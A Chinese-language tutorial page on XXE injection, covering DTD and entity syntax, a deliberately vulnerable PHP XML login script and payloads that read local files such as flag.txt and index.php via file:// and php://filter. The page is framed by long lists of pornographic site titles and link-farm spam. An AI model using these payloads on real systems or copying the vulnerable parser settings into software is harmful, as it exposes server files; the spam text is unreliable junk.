日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

XXE(1)

發(fā)布時(shí)間:2023/12/31 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XXE(1) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

XXE簡(jiǎn)介

XXE:全稱XML External Entity Injection,即XML外部實(shí)體注入漏洞

知識(shí)點(diǎn)

1、XML
2、DTD,這個(gè)是最重要的
簡(jiǎn)介:
(1)內(nèi)部的 DOCTYPE 聲明

假如 DTD 被包含在您的 XML 源文件中,它應(yīng)當(dāng)通過(guò)下面的語(yǔ)法包裝在一個(gè) DOCTYPE 聲明中: <!DOCTYPE 根元素 [元素聲明]> 例如: <!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)> ]> <note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body> </note> 以上 DTD 解釋如下: !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。 !ELEMENT note (第三行)定義 note 元素有四個(gè)元素:"to、from、heading,、body" !ELEMENT to (第四行)定義 to 元素為 "#PCDATA" 類型 !ELEMENT from (第五行)定義 from 元素為 "#PCDATA" 類型 !ELEMENT heading (第六行)定義 heading 元素為 "#PCDATA" 類型 !ELEMENT body (第七行)定義 body 元素為 "#PCDATA" 類型

(2)外部文檔聲明

假如 DTD 位于 XML 源文件的外部,那么它應(yīng)通過(guò)下面的語(yǔ)法被封裝在一個(gè) DOCTYPE 定義中: <!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> 這是包含 DTD 的 "note.dtd" 文件: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>下面的實(shí)體在 XML 中被預(yù)定義: 實(shí)體引用 字符 &lt; < &gt; > &amp; & &quot; " &apos; '在 DTD 中,XML 元素通過(guò)元素聲明來(lái)進(jìn)行聲明。元素聲明使用下面的語(yǔ)法: <!ELEMENT 元素名稱 類別> 或者 <!ELEMENT 元素名稱 (元素內(nèi)容)>

(3)XXE利用重點(diǎn):實(shí)體
(3)-1:簡(jiǎn)介
實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量。
實(shí)體引用是對(duì)實(shí)體的引用。
實(shí)體可在內(nèi)部或外部進(jìn)行聲明。

(3)-2:一個(gè)內(nèi)部實(shí)體聲明

語(yǔ)法: <!ENTITY 實(shí)體名稱 "實(shí)體的值">例子: DTD 例子: <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn">XML 例子: <author>&writer;&copyright;</author>注釋: 一個(gè)實(shí)體由三部分構(gòu)成: 一個(gè)和號(hào) (&), 一個(gè)實(shí)體名稱, 以及一個(gè)分號(hào) (;)。

(3)-3:一個(gè)外部實(shí)體聲明

語(yǔ)法: <!ENTITY 實(shí)體名稱 SYSTEM "URI/URL">例子: DTD 例子: <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">XML 例子: <author>&writer;&copyright;</author>

(3)-4:補(bǔ)充
帶有任何內(nèi)容的元素
通過(guò)類別關(guān)鍵詞 ANY 聲明的元素,可包含任何可解析數(shù)據(jù)的組合:

<!ELEMENT 元素名稱 ANY> 例子: <!ELEMENT note ANY>理解下面的代碼含義:這是POST提交的 上面是一個(gè)XXE攻擊的Payload <?xml version="1.0" encoding="utf-8"?>//xml格式必備 <!DOCTYPE root [ (注):內(nèi)部的DOCTYPE聲明,聲明一個(gè)root根元素 <!ELEMENT root ANY > (注):定義root根元素的子元素可以是任何組合 <!ENTITY xxx SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" > (注):聲明一個(gè)xml代碼外的外部實(shí)體名叫xxx,SYSTEM后面的是它的值]> (注):閉合<root> (注):XML代碼的根元素,也就是上面DTD中的root根元素,這個(gè)必須一樣,因?yàn)樯厦娴腄TD就是檢查下面的XML代碼的<user>&xxx;</user> (注):XML代碼的子元素user,&xxx,表示在XML代碼內(nèi)部執(zhí)行外部DTD的實(shí)體函數(shù)xxx<pass>mypass</pass> (注):XML代碼的子元素pass </root> (注):閉合根元素

外部實(shí)體注入舉例

有回顯讀取本地文件
漏洞代碼:

<?php libxml_disable_entity_loader (false); show_source(__FILE__); $xmlfile = file_get_contents('php://input'); echo '<br>'; if(strlen($xmlfile)>0){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$user = $creds->user;$pass = $creds->pass;echo "You have logged in as user $user"; } ?>

payload:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ //foo名稱隨意<!ENTITY xxe SYSTEM "file:///F:/flag.txt" > //xxe名稱隨意]> <root> //xml根元素名稱隨意,但必須要有(在當(dāng)前漏洞源碼環(huán)境下) <user>&xxe;</user> //xxe名稱和上面的名稱對(duì)應(yīng),在這里xml中的子元素user和漏洞源碼中的對(duì)應(yīng),不可修改為其它 </root>

有些文件中有<、>等實(shí)體,若直接用file讀取會(huì)導(dǎo)致解析錯(cuò)誤,此時(shí)可以利用php://filter將內(nèi)容轉(zhuǎn)換為base64后再讀取

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <root><user>&file;</user> </root>

特別注意:

實(shí)體名稱命名不能以數(shù)字開(kāi)頭,例如上面的xxx 使用bp時(shí),需要添加Content-Type: application/xml payload中xml的根元素 xml形式的數(shù)據(jù)傳輸e.g:<user>admin</user>

淺顯地了解了xxe,后續(xù)再深入研究。

總結(jié)

以上是生活随笔為你收集整理的XXE(1)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 懂色av粉嫩av蜜乳av | 一区二区亚洲精品 | 四虎在线视频免费观看 | 俺来也av | 大香蕉视频一区二区 | 男女aa视频| 国产69精品一区二区 | 男女调教视频 | 人人爽人人草 | 欧洲美一区二区三区亚洲 | 国产ts网站 | 一级黄视频 | 日日夜夜精品视频免费 | 福利二区| 国产精品作爱 | 综合色影院 | 欧美一级高潮片 | 国产一区二区三区在线视频观看 | 国产精品无码一区二区三区在线看 | 朝桐光在线观看 | 91精品视频网站 | 欧美午夜精品理论片a级按摩 | 又黄又爽视频在线观看 | 好看的中文字幕 | 封神榜二在线高清免费观看 | v片在线免费观看 | 亚洲精品视频一二三区 | 8050午夜一级毛片久久亚洲欧 | 天堂久久一区 | 五月天六月色 | 国产区在线| 在线视频播放大全 | 又粗又猛又爽又黄的视频 | 亚洲一区二区自偷自拍 | 奇米影视777第四色 2019中文字幕在线免费观看 | 亚洲激情av在线 | 午夜精品一区二区三区在线播放 | 国产在线综合网 | 五月婷综合网 | 黄色一级a毛片 | 91丨国产| 国产欧美视频一区二区 | 久久99国产精品成人 | 蜜桃精品视频在线观看 | 大黄一级片| av导航站 | 亚州激情 | 婷婷爱爱 | 在线观看欧美 | 国产精品视频www | 免费在线看a | 精品少妇一区二区三区 | 国产一区二区三区视频播放 | 成人天堂av | 日韩电影一区二区三区四区 | 亚洲色图50p| 国产网友自拍视频 | 黄av在线 | 激情图片在线观看 | 国产综合内射日韩久 | 粉嫩av一区二区三区四区五区 | 欧美日韩高清一区二区三区 | 男女日批免费视频 | 黑人巨大精品 | 色夜av | 新婚若妻侵犯中文字幕 | 欧美一级在线观看视频 | 伊人色图| 猛1被调教成公厕尿便失禁网站 | 一区二区精品视频在线观看 | 玖玖精品在线视频 | 麻豆影视在线免费观看 | 国产91美女视频 | 粉嫩aⅴ一区二区三区四区五区 | 亚洲欧美另类在线观看 | 久久99久久99精品 | 91亚洲精品国偷拍自产在线观看 | 国产福利视频在线 | 久久久久黄色片 | 黄色成人在线播放 | 久久久精品国产免费爽爽爽 | 欧美日韩精品一区二区在线观看 | 久久久久网站 | 99国产精品99 | 黑人精品一区二区 | 中文字幕成人 | 日韩激情一区二区 | 亚洲人在线 | 性欢交69国产精品 | 免费 成 人 黄 色 | 亚洲91精品 | 欲求不满在线小早川怜子 | 亚洲精品不卡 | 国产精品久久久久久免费观看 | 校园春色自拍偷拍 | 一级免费黄色 | 日韩午夜激情 | 免费古装一级淫片潘金莲 | 亚洲人成77777 |